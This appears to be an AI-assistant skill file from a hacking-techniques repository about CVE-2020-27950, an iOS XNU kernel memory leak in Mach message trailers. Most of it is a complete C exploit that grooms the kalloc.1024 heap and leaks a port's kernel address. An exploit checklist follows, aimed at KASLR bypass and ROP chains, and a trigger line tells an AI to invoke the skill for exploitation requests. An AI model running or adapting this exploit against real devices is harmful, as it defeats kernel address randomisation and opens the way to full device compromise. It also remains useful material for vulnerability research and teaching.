Hacktricks-skills ios-cve-2020-27950-exploit

iOS kernel exploitation for CVE-2020-27950 (mach_msg trailer memory leak). Use this skill whenever the user mentions iOS kernel vulnerabilities, mach_msg exploitation, kernel memory leaks, CVE-2020-27950, or wants to understand/write PoCs for XNU kernel heap-based vulnerabilities. This skill covers the vulnerability mechanics, exploit development, and practical implementation.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t/SKILL.MD
source content

CVE-2020-27950: mach_msg Trailer Memory Leak Exploitation

A comprehensive guide to understanding and exploiting CVE-2020-27950, a kernel memory leak vulnerability in iOS XNU's Mach message trailer handling.

Vulnerability Overview

The Core Issue

Every Mach message the kernel receives ends with a "trailer": a variable-length struct containing metadata (sequence numbers, sender token, audit token, context, access control data, labels). The vulnerability stems from:

  1. The kernel always reserves the largest possible trailer (
    MAX_TRAILER_SIZE
    ) in the message buffer
  2. The kernel only initializes some fields of the trailer
  3. The kernel decides which trailer size to return based on user-controlled receive options
  4. Certain field initializations are conditionally skipped based on the trailer type requested

This creates a window where uninitialized memory (potentially containing sensitive kernel data) can leak to userland.

Key Structures

typedef struct {
    mach_msg_trailer_type_t       msgh_trailer_type;
    mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

typedef struct {
    mach_msg_trailer_type_t       msgh_trailer_type;
    mach_msg_trailer_size_t       msgh_trailer_size;
    mach_port_seqno_t             msgh_seqno;
    security_token_t              msgh_sender;
    audit_token_t                 msgh_audit;
    mach_port_context_t           msgh_context;
    int                           msgh_ad;           // ← UNINITIALIZED in certain cases
    msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))

The Vulnerable Code Path

When generating the trailer, only some fields are initialized:

trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
trailer->msgh_labels.sender = 0;
// Note: msgh_ad is NOT initialized here

Later, in

ipc_kmsg_add_trailer()
, the trailer size is calculated and additional fields may be filled:

if (!(option & MACH_RCV_TRAILER_MASK)) {
    return trailer->msgh_trailer_size;
}

trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);

if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
    trailer->msgh_ad = 0;  // ← Only initialized if option >= 7
}

if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
    trailer->msgh_labels.sender = 0;
}

The Exploit Condition

The

option
parameter is user-controlled. The trailer element constants are:

#define MACH_RCV_TRAILER_NULL   0
#define MACH_RCV_TRAILER_SEQNO  1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT  3
#define MACH_RCV_TRAILER_CTX    4
#define MACH_RCV_TRAILER_AV     7
#define MACH_RCV_TRAILER_LABELS 8

#define MACH_RCV_TRAILER_TYPE(x)     (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK        ((0xf << 24))

The vulnerability: If you pass an

option
value of 5 or 6:

  • It passes the first
    if
    check (bits 24-27 are non-zero)
  • It does NOT enter the
    if
    that initializes
    msgh_ad
    (requires >= 7)
  • msgh_ad
    remains uninitialized, potentially leaking stale kernel memory

Exploitation Technique

Heap Reuse Strategy

The exploit uses a classic heap reuse pattern:

  1. Send a "big" message with many port descriptors → allocates a
    kalloc.1024
    chunk containing kernel pointers
  2. Receive/discard it with zero buffer → frees the chunk, leaving kernel pointers as stale data
  3. Send a "small" message → reuses the same size class, but with fewer descriptors
  4. Receive with invalid trailer option (5) → trailer's
    msgh_ad
    field overlaps with stale pointer data
  5. Adjust message size to control overlap offset and leak different bytes of the pointer

Why This Works

When you send a Mach message with port descriptors:

  • Userland:
    name
    field contains an unsigned int (port name)
  • Kernel:
    name
    field becomes an
    ipc_port*
    pointer
  • The kernel stores these pointers in the
    ipc_kmsg_t
    structure
  • When freed, these pointers remain in the heap chunk as stale data
  • When reused with a smaller message, the trailer can overlap this stale data

Complete Exploit Implementation

Kernel Address Leak PoC

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>

#define LEAK_PORTS 50
#define MAX_TRAILER_SIZE 128

typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;

typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;

int main(int argc, char *argv[]) {
    mach_port_t port;      // receive port
    mach_port_t sent_port; // port whose kernel address we leak

    // Create receive right with send right
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

    // Create port to leak
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
    mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);

    printf("[*] Target port: 0x%x\n", sent_port);

    message_big_t   *big_message   = NULL;
    message_small_t *small_message = NULL;

    mach_msg_size_t big_size   = (mach_msg_size_t)sizeof(*big_message);
    mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);

    big_message   = malloc(big_size   + MAX_TRAILER_SIZE);
    small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);

    // Prepare big message with 50 port descriptors
    memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
    big_message->header.msgh_remote_port = port;
    big_message->header.msgh_size        = big_size;
    big_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    big_message->body.msgh_descriptor_count = LEAK_PORTS;

    for (int i = 0; i < LEAK_PORTS; i++) {
        big_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
        big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
        big_message->sent_ports[i].name        = sent_port;
    }

    // Prepare small message with fewer descriptors
    memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
    small_message->header.msgh_remote_port = port;
    small_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;

    for (int i = 0; i < LEAK_PORTS - 10; i++) {
        small_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
        small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
        small_message->sent_ports[i].name        = sent_port;
    }

    uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
    mach_msg_mac_trailer_t *trailer;
    uintptr_t sent_port_address = 0;

    // ========== LEAK LOW 32 BITS ==========
    printf("[*] Sending big message (allocates kalloc.1024 with pointers)\n");
    mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Discarding message (frees chunk, leaves stale pointers)\n");
    mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    // Small message reuses the chunk, +4 shift for overlap
    small_message->header.msgh_size = small_size + sizeof(uint32_t);
    printf("[*] Sending small message (reuses chunk)\n");
    mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Receiving with trailer option 5 (leaks msgh_ad)\n");
    memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
    mach_msg((mach_msg_header_t *)buffer,
             MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
             0,
             small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE,
             port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
    sent_port_address |= (uint32_t)trailer->msgh_ad;

    // ========== LEAK HIGH 32 BITS ==========
    printf("[*] Sending big message again\n");
    mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Discarding again\n");
    mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    // +8 total shift for high bytes
    small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
    printf("[*] Sending small message with +8 shift\n");
    mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t)*2, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Receiving with trailer option 5\n");
    memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
    mach_msg((mach_msg_header_t *)buffer,
             MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
             0,
             small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
             port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
    sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;

    printf("[+] Port 0x%x has kernel address: 0x%lX\n", sent_port, sent_port_address);

    return 0;
}

Exploit Development Checklist

When developing exploits for this vulnerability:

  1. Verify the target is vulnerable

    • Check iOS version (affected: iOS 13.x through early iOS 14.x)
    • Confirm kernel hasn't patched the trailer initialization
  2. Set up the heap state

    • Use
      kalloc.1024
      size class (empirically reliable)
    • Send messages with enough port descriptors to fill the chunk
    • Ensure predictable allocation patterns
  3. Control the overlap

    • Adjust
      msgh_size
      to shift where the trailer lands
    • Use +4 byte increments to leak different pointer bytes
    • Account for alignment and padding
  4. Handle the leak

    • Use trailer option 5 or 6 (invalid but triggers max trailer)
    • Parse the trailer correctly (64-bit vs 32-bit variants)
    • Combine leaked bytes into full pointers
  5. Use the leaked address

    • Calculate kernel base (if KASLR is active)
    • Use for further exploitation (ROP, gadget chains, etc.)

Common Pitfalls

IssueSolution
Leak returns garbageVerify heap reuse is working; check message sizes
Crash on receiveEnsure buffer is large enough for max trailer
Inconsistent leaksAdd heap spraying; use more port descriptors
Wrong pointer bytesAdjust
msgh_size
offset; verify alignment

References

Related Vulnerabilities

  • CVE-2021-30807: IOMobileFrameBuffer OOB
  • Other mach_msg trailer vulnerabilities in XNU
  • iOS kernel heap exploitation techniques

Testing Notes

  • This exploit requires a vulnerable iOS device or simulator
  • Root access may be needed to verify kernel addresses
  • Modern iOS versions have patched this vulnerability
  • Use in educational/research contexts only